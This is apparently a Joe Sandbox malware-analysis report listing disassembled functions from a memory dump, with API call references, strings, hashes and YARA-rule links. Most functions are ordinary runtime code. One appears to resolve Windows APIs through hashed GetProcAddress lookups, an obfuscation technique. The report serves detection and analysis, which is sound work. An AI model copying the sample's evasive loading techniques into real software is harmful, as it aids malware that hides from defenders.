Function 6F0B0EA0 Relevance: 21.3, APIs: 10, Strings: 2, Instructions: 337COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 6F0B0EF2
std::_Xinvalid_argument.LIBCPMT ref: 6F0B0F14
_memmove.LIBCMT ref: 6F0B0F70
_memmove.LIBCMT ref: 6F0B0FDB
_memmove.LIBCMT ref: 6F0B1182
std::_Xinvalid_argument.LIBCPMT ref: 6F0B11B6

Strings

string too long, xrefs: 6F0B0EED, 6F0B0F0F
invalid string position, xrefs: 6F0B11B1

Memory Dump Source

Source File: 00000015.00000002.1049648852.000000006F0A1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6F0A0000, based on PE: true

Associated: 00000015.00000002.1049641205.000000006F0A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049749552.000000006F124000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049772507.000000006F13E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049780627.000000006F140000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049788039.000000006F141000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049794126.000000006F143000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049803413.000000006F14A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049803413.000000006F14C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049818570.000000006F14E000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_6f0a0000_6E11.jbxd

Similarity

API ID: Xinvalid_argument_memmovestd::_
String ID: invalid string position$string too long
API String ID: 256744135-4289949731
Opcode ID: b67abb1fc8747fb25635adc65fda83bb9ba6a27225854d94a8d2b8bf6b402543
Instruction ID: 813a82ed0742450e863a6cb6c04d5f5632c279ce845f377c61095e3b4d7cbf52
Opcode Fuzzy Hash: b67abb1fc8747fb25635adc65fda83bb9ba6a27225854d94a8d2b8bf6b402543
Instruction Fuzzy Hash: 87B18C71318145EBDB28CE1CDDA0B5EB3A6EB893447544A1DF892CB780C636EC91CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 6F0CD790 Relevance: 21.3, APIs: 14, Instructions: 283COMMON

Download Yara Rule

APIs

Part of subcall function 6F109BB5: _malloc.LIBCMT ref: 6F109BCF

std::exception::exception.LIBCMT ref: 6F0CD861
__CxxThrowException@8.LIBCMT ref: 6F0CD878
VariantInit.OLEAUT32(?), ref: 6F0CD8EC
VariantInit.OLEAUT32 ref: 6F0CD902
VariantInit.OLEAUT32(?), ref: 6F0CD90D
SafeArrayCreateVector.OLEAUT32(0000000C,00000000,00000002), ref: 6F0CD929
SafeArrayPutElement.OLEAUT32(?,?,?), ref: 6F0CD966
VariantClear.OLEAUT32(?), ref: 6F0CD973
SafeArrayPutElement.OLEAUT32(?,?,?), ref: 6F0CD9B4
VariantClear.OLEAUT32(?), ref: 6F0CD9C1
SafeArrayDestroy.OLEAUT32(?), ref: 6F0CDA6F
VariantClear.OLEAUT32(?), ref: 6F0CDA80
VariantClear.OLEAUT32(?), ref: 6F0CDA87
VariantClear.OLEAUT32(?), ref: 6F0CDA99

Part of subcall function 6F0BDB30: VariantInit.OLEAUT32(6F0C31EC), ref: 6F0BDB5E
Part of subcall function 6F0BDB30: SafeArrayCreateVector.OLEAUT32(0000000C,00000000,00000001), ref: 6F0BDB6E
Part of subcall function 6F0BDB30: SafeArrayPutElement.OLEAUT32(00000000,?,?), ref: 6F0BDB82
Part of subcall function 6F0BDB30: SafeArrayDestroy.OLEAUT32(00000000), ref: 6F0BDBF1
Part of subcall function 6F0BDB30: VariantClear.OLEAUT32(?), ref: 6F0BDBFB

Part of subcall function 6F0C56B0: VariantInit.OLEAUT32(?), ref: 6F0C570E
Part of subcall function 6F0C56B0: VariantCopy.OLEAUT32(?,00000000), ref: 6F0C5716

Part of subcall function 6F0C6880: VariantInit.OLEAUT32(?), ref: 6F0C68B2
Part of subcall function 6F0C6880: VariantInit.OLEAUT32(?), ref: 6F0C68BD
Part of subcall function 6F0C6880: SafeArrayCreateVector.OLEAUT32(0000000C,00000000,00000002), ref: 6F0C68D7
Part of subcall function 6F0C6880: SafeArrayPutElement.OLEAUT32(00000000,?,?), ref: 6F0C68FD
Part of subcall function 6F0C6880: VariantClear.OLEAUT32(?), ref: 6F0C6909
Part of subcall function 6F0C6880: SafeArrayPutElement.OLEAUT32(00000000,?,?), ref: 6F0C6923
Part of subcall function 6F0C6880: SafeArrayDestroy.OLEAUT32(00000000), ref: 6F0C6981

Memory Dump Source

Source File: 00000015.00000002.1049648852.000000006F0A1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6F0A0000, based on PE: true

Associated: 00000015.00000002.1049641205.000000006F0A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049749552.000000006F124000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049772507.000000006F13E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049780627.000000006F140000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049788039.000000006F141000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049794126.000000006F143000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049803413.000000006F14A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049803413.000000006F14C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049818570.000000006F14E000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_6f0a0000_6E11.jbxd

Similarity

API ID: Variant$ArraySafe$ClearInit$Element$CreateDestroyVector$CopyException@8Throw_mallocstd::exception::exception
String ID:
API String ID: 4028882980-0
Opcode ID: 9f45d52e14a8a0b131c1b7481bdc8740abd33d8cebe885078f6514d460b9de3e
Instruction ID: c3734140cae139644318ffe2989e30307934431dc9b5cf3308c49b92d3f03085
Opcode Fuzzy Hash: 9f45d52e14a8a0b131c1b7481bdc8740abd33d8cebe885078f6514d460b9de3e
Instruction Fuzzy Hash: 4CB149725087019FC704CF68C884B5AB7E5FF89764F048A5EF9A597390EB34E905CB92

Uniqueness

Uniqueness Score: -1.00%

Function 6F0C3690 Relevance: 18.2, APIs: 12, Instructions: 215COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 6F0C36CD
VariantInit.OLEAUT32(?), ref: 6F0C36DA
VariantInit.OLEAUT32(?), ref: 6F0C36E0
VariantInit.OLEAUT32(?), ref: 6F0C36E6
VariantInit.OLEAUT32 ref: 6F0C37DD
VariantCopy.OLEAUT32(?,?), ref: 6F0C37E4
VariantInit.OLEAUT32 ref: 6F0C3815
VariantCopy.OLEAUT32(?,?), ref: 6F0C381C
VariantClear.OLEAUT32(?), ref: 6F0C38A8
VariantClear.OLEAUT32(?), ref: 6F0C38AE
VariantClear.OLEAUT32(?), ref: 6F0C38B4
VariantClear.OLEAUT32(?), ref: 6F0C38BA

Memory Dump Source

Source File: 00000015.00000002.1049648852.000000006F0A1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6F0A0000, based on PE: true

Associated: 00000015.00000002.1049641205.000000006F0A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049749552.000000006F124000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049772507.000000006F13E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049780627.000000006F140000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049788039.000000006F141000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049794126.000000006F143000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049803413.000000006F14A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049803413.000000006F14C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049818570.000000006F14E000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_6f0a0000_6E11.jbxd

Similarity

API ID: Variant$Init$Clear$Copy
String ID:
API String ID: 3833040332-0
Opcode ID: 5e54b945662b5518ccfcce32a17c84d262df0636ff3f6e33d3e6a5d2089e6888
Instruction ID: 8c65cee0e679ef139796b79c183e9c9509b1c45b28c73402df928e0f2e84f54c
Opcode Fuzzy Hash: 5e54b945662b5518ccfcce32a17c84d262df0636ff3f6e33d3e6a5d2089e6888
Instruction Fuzzy Hash: 70817EB1900319AFDB14DFA8C884FEEBBB9FF49304F14455DE905AB241DB35A905CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 6F0C4BA0 Relevance: 15.5, APIs: 10, Instructions: 475COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 6F0C4BDC
VariantInit.OLEAUT32(?), ref: 6F0C4BE5
VariantInit.OLEAUT32(?), ref: 6F0C4BEB
SafeArrayCreateVector.OLEAUT32(0000000C,00000000,00000001), ref: 6F0C4BF6
SafeArrayPutElement.OLEAUT32(00000000,?,?), ref: 6F0C4C2A
VariantClear.OLEAUT32(?), ref: 6F0C4C37
SafeArrayDestroy.OLEAUT32(00000000), ref: 6F0C5107
VariantClear.OLEAUT32(?), ref: 6F0C5117
VariantClear.OLEAUT32(?), ref: 6F0C511D
VariantClear.OLEAUT32(?), ref: 6F0C5123

Memory Dump Source

Source File: 00000015.00000002.1049648852.000000006F0A1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6F0A0000, based on PE: true

Associated: 00000015.00000002.1049641205.000000006F0A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049749552.000000006F124000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049772507.000000006F13E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049780627.000000006F140000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049788039.000000006F141000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049794126.000000006F143000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049803413.000000006F14A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049803413.000000006F14C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049818570.000000006F14E000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_6f0a0000_6E11.jbxd

Similarity

API ID: Variant$Clear$ArrayInitSafe$CreateDestroyElementVector
String ID:
API String ID: 2515392200-0
Opcode ID: 5db73902294a4d17f23431eaa06e3fa8edb6a506a01cada03f46f7cf1c70a3d4
Instruction ID: 2ad0c8793f6ed853bd59d9e987d9c6c38b0727729a177ea7a9cfb038e74bd6e5
Opcode Fuzzy Hash: 5db73902294a4d17f23431eaa06e3fa8edb6a506a01cada03f46f7cf1c70a3d4
Instruction Fuzzy Hash: 5812E475A15705AFC758DB98DD84DAEB3B9BF8C300F144668F50AABB91CA30F841CB50

Uniqueness

Uniqueness Score: -1.00%

Function 6F0C49B0 Relevance: 15.2, APIs: 10, Instructions: 174COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(6F1205A8), ref: 6F0C49EE
VariantInit.OLEAUT32(?), ref: 6F0C49F7
VariantInit.OLEAUT32(?), ref: 6F0C49FD
SafeArrayCreateVector.OLEAUT32(0000000C,00000000,00000001), ref: 6F0C4A08
SafeArrayPutElement.OLEAUT32(00000000,?,?), ref: 6F0C4A39
VariantClear.OLEAUT32(?), ref: 6F0C4A45
SafeArrayDestroy.OLEAUT32(00000000), ref: 6F0C4B66
VariantClear.OLEAUT32(?), ref: 6F0C4B76
VariantClear.OLEAUT32(?), ref: 6F0C4B7C
VariantClear.OLEAUT32(6F1205A8), ref: 6F0C4B82

Memory Dump Source

Source File: 00000015.00000002.1049648852.000000006F0A1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6F0A0000, based on PE: true

Associated: 00000015.00000002.1049641205.000000006F0A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049749552.000000006F124000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049772507.000000006F13E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049780627.000000006F140000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049788039.000000006F141000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049794126.000000006F143000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049803413.000000006F14A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049803413.000000006F14C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049818570.000000006F14E000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_6f0a0000_6E11.jbxd

Similarity

API ID: Variant$Clear$ArrayInitSafe$CreateDestroyElementVector
String ID:
API String ID: 2515392200-0
Opcode ID: 21ea06862568c4b93f34c14756539ad6eb35161f918e96cfaca64fc315ea9841
Instruction ID: 7e568b9de4e3cbbcb613118bc104e90c4fc9f8555c6b2bbe4a1677a4aae4863b
Opcode Fuzzy Hash: 21ea06862568c4b93f34c14756539ad6eb35161f918e96cfaca64fc315ea9841
Instruction Fuzzy Hash: 79515C76A04219EFDB04DFA4CC84FEEB7B8FF89310F044169E915AB245DB35A941CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 6F0C47D0 Relevance: 15.2, APIs: 10, Instructions: 168COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 6F0C480C
VariantInit.OLEAUT32(?), ref: 6F0C4815
VariantInit.OLEAUT32(?), ref: 6F0C481B
SafeArrayCreateVector.OLEAUT32(0000000C,00000000,00000001), ref: 6F0C4826
SafeArrayPutElement.OLEAUT32(00000000,000000FF,?), ref: 6F0C485B
VariantClear.OLEAUT32(?), ref: 6F0C4868
SafeArrayDestroy.OLEAUT32(00000000), ref: 6F0C4974
VariantClear.OLEAUT32(?), ref: 6F0C4984
VariantClear.OLEAUT32(?), ref: 6F0C498A
VariantClear.OLEAUT32(?), ref: 6F0C4990

Memory Dump Source

Source File: 00000015.00000002.1049648852.000000006F0A1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6F0A0000, based on PE: true

Associated: 00000015.00000002.1049641205.000000006F0A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049749552.000000006F124000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049772507.000000006F13E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049780627.000000006F140000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049788039.000000006F141000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049794126.000000006F143000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049803413.000000006F14A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049803413.000000006F14C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049818570.000000006F14E000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_6f0a0000_6E11.jbxd

Similarity

API ID: Variant$Clear$ArrayInitSafe$CreateDestroyElementVector
String ID:
API String ID: 2515392200-0
Opcode ID: 2dac732cb620d9ffc6ed1ae22f3efa836db61fc3338a4aa966a66949d0ac3ada
Instruction ID: 221466aea892f6450e294ec3316b1812f87cde32265fd163ba96a3d500fd03d7
Opcode Fuzzy Hash: 2dac732cb620d9ffc6ed1ae22f3efa836db61fc3338a4aa966a66949d0ac3ada
Instruction Fuzzy Hash: A7514A76900259AFDB04DFA8CC80EEEB7B9FF89310F14456DE506EB640DB30A905CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 6F0BDCD0 Relevance: 15.1, APIs: 10, Instructions: 138COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 6F0BDD00
SafeArrayCreateVector.OLEAUT32(0000000C,00000000,00000003), ref: 6F0BDD10
SafeArrayPutElement.OLEAUT32(00000000,6F0C2FFF,?), ref: 6F0BDD47
VariantClear.OLEAUT32(?), ref: 6F0BDD4F
SafeArrayPutElement.OLEAUT32(00000000,6F0C2FFF,?), ref: 6F0BDD6D
SafeArrayPutElement.OLEAUT32(00000000,00000002,?), ref: 6F0BDDA4
VariantClear.OLEAUT32(?), ref: 6F0BDDAC
SafeArrayDestroy.OLEAUT32(00000000), ref: 6F0BDE16
SafeArrayDestroy.OLEAUT32(00000000), ref: 6F0BDE27
VariantClear.OLEAUT32(?), ref: 6F0BDE31

Memory Dump Source

Source File: 00000015.00000002.1049648852.000000006F0A1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6F0A0000, based on PE: true

Associated: 00000015.00000002.1049641205.000000006F0A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049749552.000000006F124000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049772507.000000006F13E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049780627.000000006F140000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049788039.000000006F141000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049794126.000000006F143000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049803413.000000006F14A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049803413.000000006F14C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049818570.000000006F14E000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_6f0a0000_6E11.jbxd

Similarity

API ID: ArraySafe$Variant$ClearElement$Destroy$CreateInitVector
String ID:
API String ID: 3525949229-0
Opcode ID: 5770306df19c3e9a46e98bdcee19bcf71555daecf42181bd0c3c937921d47879
Instruction ID: 538bda3080b7984e18bce95b6bbeac56d7c1f4066df77ccda5e0c5dca85fc0c3
Opcode Fuzzy Hash: 5770306df19c3e9a46e98bdcee19bcf71555daecf42181bd0c3c937921d47879
Instruction Fuzzy Hash: 63516C75A01609AFDB00DFA4C884FDFBBB9FF99310F008129EA15A7351DB35A941CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 6F0BE120 Relevance: 14.4, APIs: 6, Strings: 2, Instructions: 364COMMON

Download Yara Rule

APIs

SafeArrayGetLBound.OLEAUT32(00000000,?,?), ref: 6F0BE29B
SafeArrayGetUBound.OLEAUT32(00000000,?,?), ref: 6F0BE2B6
SafeArrayAccessData.OLEAUT32(00000000,?), ref: 6F0BE2D7

Part of subcall function 6F0C5760: std::tr1::_Xweak.LIBCPMT ref: 6F0C5769

SafeArrayUnaccessData.OLEAUT32(00000000), ref: 6F0BE309

Part of subcall function 6F109BB5: _malloc.LIBCMT ref: 6F109BCF

SafeArrayDestroy.OLEAUT32(00000000), ref: 6F0BE523
InterlockedCompareExchange.KERNEL32(6F14C6A4,45524548,4B4F4F4C), ref: 6F0BE544

Strings

.o, xrefs: 6F0BE551
.o, xrefs: 6F0BE4DB, 6F0BE4FC, 6F0BE4DE

Memory Dump Source

Source File: 00000015.00000002.1049648852.000000006F0A1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6F0A0000, based on PE: true

Associated: 00000015.00000002.1049641205.000000006F0A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049749552.000000006F124000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049772507.000000006F13E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049780627.000000006F140000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049788039.000000006F141000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049794126.000000006F143000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049803413.000000006F14A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049803413.000000006F14C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049818570.000000006F14E000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_6f0a0000_6E11.jbxd

Similarity

API ID: ArraySafe$BoundData$AccessCompareDestroyExchangeInterlockedUnaccessXweak_mallocstd::tr1::_
String ID: .o$ .o
API String ID: 2722669376-3732043186
Opcode ID: 1a80a02309faf1293e8f4a34cb3f7c698467e9a6867d003fd8abf4831995a6f2
Instruction ID: 6af12771cd756f486e710150f823ecd3e02a2df961d243d0ecab6b464bb5ea17
Opcode Fuzzy Hash: 1a80a02309faf1293e8f4a34cb3f7c698467e9a6867d003fd8abf4831995a6f2
Instruction Fuzzy Hash: 5AD1C1B1A003059FDB10DFA8CC94BAE77F8EF45314F1485ADE905AB281E776E944CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 6F0B8470 Relevance: 14.3, APIs: 6, Strings: 2, Instructions: 270COMMON

Download Yara Rule

APIs

Part of subcall function 6F109BB5: _malloc.LIBCMT ref: 6F109BCF

InitializeCriticalSection.KERNEL32(00000000,00000000,6F0B5D89,00000000,00000004,00000000,?,00000000,00000000), ref: 6F0B84EA
InitializeCriticalSection.KERNEL32(00000018,?,00000000,00000000), ref: 6F0B84F0
std::exception::exception.LIBCMT ref: 6F0B853C
__CxxThrowException@8.LIBCMT ref: 6F0B8551
__cftoe.LIBCMT ref: 6F0B88ED

Part of subcall function 6F10A116: __mbstowcs_s_l.LIBCMT ref: 6F10A12C

__cftoe.LIBCMT ref: 6F0B8911

Strings

zX, xrefs: 6F0B865E
P, xrefs: 6F0B8841

Memory Dump Source

Source File: 00000015.00000002.1049648852.000000006F0A1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6F0A0000, based on PE: true

Associated: 00000015.00000002.1049641205.000000006F0A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049749552.000000006F124000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049772507.000000006F13E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049780627.000000006F140000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049788039.000000006F141000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049794126.000000006F143000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049803413.000000006F14A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049803413.000000006F14C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049818570.000000006F14E000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_6f0a0000_6E11.jbxd

Similarity

API ID: CriticalInitializeSection__cftoe$Exception@8Throw__mbstowcs_s_l_mallocstd::exception::exception
String ID: zX$P
API String ID: 689832159-2079734279
Opcode ID: c8c9f0e6c611817e2789ee90291e6370d22c15cea9ae652f65da6d4a4d1d1055
Instruction ID: b72b736874933d624b87f36b22da57553e61e257a9b18d925662e89cea50a454
Opcode Fuzzy Hash: c8c9f0e6c611817e2789ee90291e6370d22c15cea9ae652f65da6d4a4d1d1055
Instruction Fuzzy Hash: DBC147B15087819FC375CF54C880B9BBBF8FB84750F508A1EE5998B280DB71A645CF92

Uniqueness

Uniqueness Score: -1.00%

Function 6F0B12A0 Relevance: 14.2, APIs: 6, Strings: 2, Instructions: 171COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 6F0B12DD
std::_Xinvalid_argument.LIBCPMT ref: 6F0B12FB
_memmove.LIBCMT ref: 6F0B1368
_memmove.LIBCMT ref: 6F0B139F
std::_Xinvalid_argument.LIBCPMT ref: 6F0B140C

Strings

string too long, xrefs: 6F0B12D8, 6F0B12F6
invalid string position, xrefs: 6F0B1407

Memory Dump Source

Source File: 00000015.00000002.1049648852.000000006F0A1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6F0A0000, based on PE: true

Associated: 00000015.00000002.1049641205.000000006F0A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049749552.000000006F124000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049772507.000000006F13E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049780627.000000006F140000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049788039.000000006F141000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049794126.000000006F143000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049803413.000000006F14A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049803413.000000006F14C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049818570.000000006F14E000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_6f0a0000_6E11.jbxd

Similarity

API ID: Xinvalid_argumentstd::_$_memmove
String ID: invalid string position$string too long
API String ID: 2168136238-4289949731
Opcode ID: 755986043fac2ce54026e303a7b1aad6f510aade705a7c869b879677722807c0
Instruction ID: 8115b0afe12732d70aa53c5906862b734c5f7253089aa89598b86a675e27abb2
Opcode Fuzzy Hash: 755986043fac2ce54026e303a7b1aad6f510aade705a7c869b879677722807c0
Instruction Fuzzy Hash: 5941C6313002049BD714DF6CDE90B5EB3E6EB85B54B600A2EF491C7784EB76E8558BA1

Uniqueness

Uniqueness Score: -1.00%

Function 6F0D1B20 Relevance: 14.2, APIs: 6, Strings: 2, Instructions: 154libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(User32.dll,?,00000000,?,?,?,?,?,?,?,?), ref: 6F0D1C5E
LoadLibraryW.KERNEL32(User32.dll,?,00000000,?,?,?,?,?,?,?,?), ref: 6F0D1C69
GetProcAddress.KERNEL32(00000000,F1F2E532,?,00000000), ref: 6F0D1CA2
GetModuleHandleW.KERNEL32(kernel32.dll,?,00000000), ref: 6F0D1CC1
LoadLibraryW.KERNEL32(kernel32.dll,?,00000000), ref: 6F0D1CCC
GetProcAddress.KERNEL32(00000000,EFF3E52B,?,00000000), ref: 6F0D1D0A

Strings

User32.dll, xrefs: 6F0D1C57, 6F0D1C64
kernel32.dll, xrefs: 6F0D1CBA, 6F0D1CC7

Memory Dump Source

Source File: 00000015.00000002.1049648852.000000006F0A1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6F0A0000, based on PE: true

Associated: 00000015.00000002.1049641205.000000006F0A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049749552.000000006F124000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049772507.000000006F13E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049780627.000000006F140000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049788039.000000006F141000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049794126.000000006F143000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049803413.000000006F14A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049803413.000000006F14C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049818570.000000006F14E000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_6f0a0000_6E11.jbxd

Similarity

API ID: AddressHandleLibraryLoadModuleProc
String ID: User32.dll$kernel32.dll
API String ID: 310444273-1965990335
Opcode ID: 084bd52ee01a7e13e7d42c4e138cb3252df9ec513080d7b04d0734d63cadfcbf
Instruction ID: b896fbdb01e8b08c501dcb769d38ee8765d7304fb9d6cf75f11717d192c3c026
Opcode Fuzzy Hash: 084bd52ee01a7e13e7d42c4e138cb3252df9ec513080d7b04d0734d63cadfcbf
Instruction Fuzzy Hash: 57612C78604B009FD724CF58C591B6ABBF2FF46750F608958E4968BA42DB36F856CF80

Uniqueness

Uniqueness Score: -1.00%

Function 6F114409 Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 77COMMONLIBRARYCODE

Download Yara Rule

APIs

UnDecorator::getArgumentList.LIBCMT ref: 6F11442E

Part of subcall function 6F113FC9: Replicator::operator[].LIBCMT ref: 6F11404C
Part of subcall function 6F113FC9: DName::operator+=.LIBCMT ref: 6F114054

DName::operator+.LIBCMT ref: 6F114487
DName::DName.LIBCMT ref: 6F1144DF

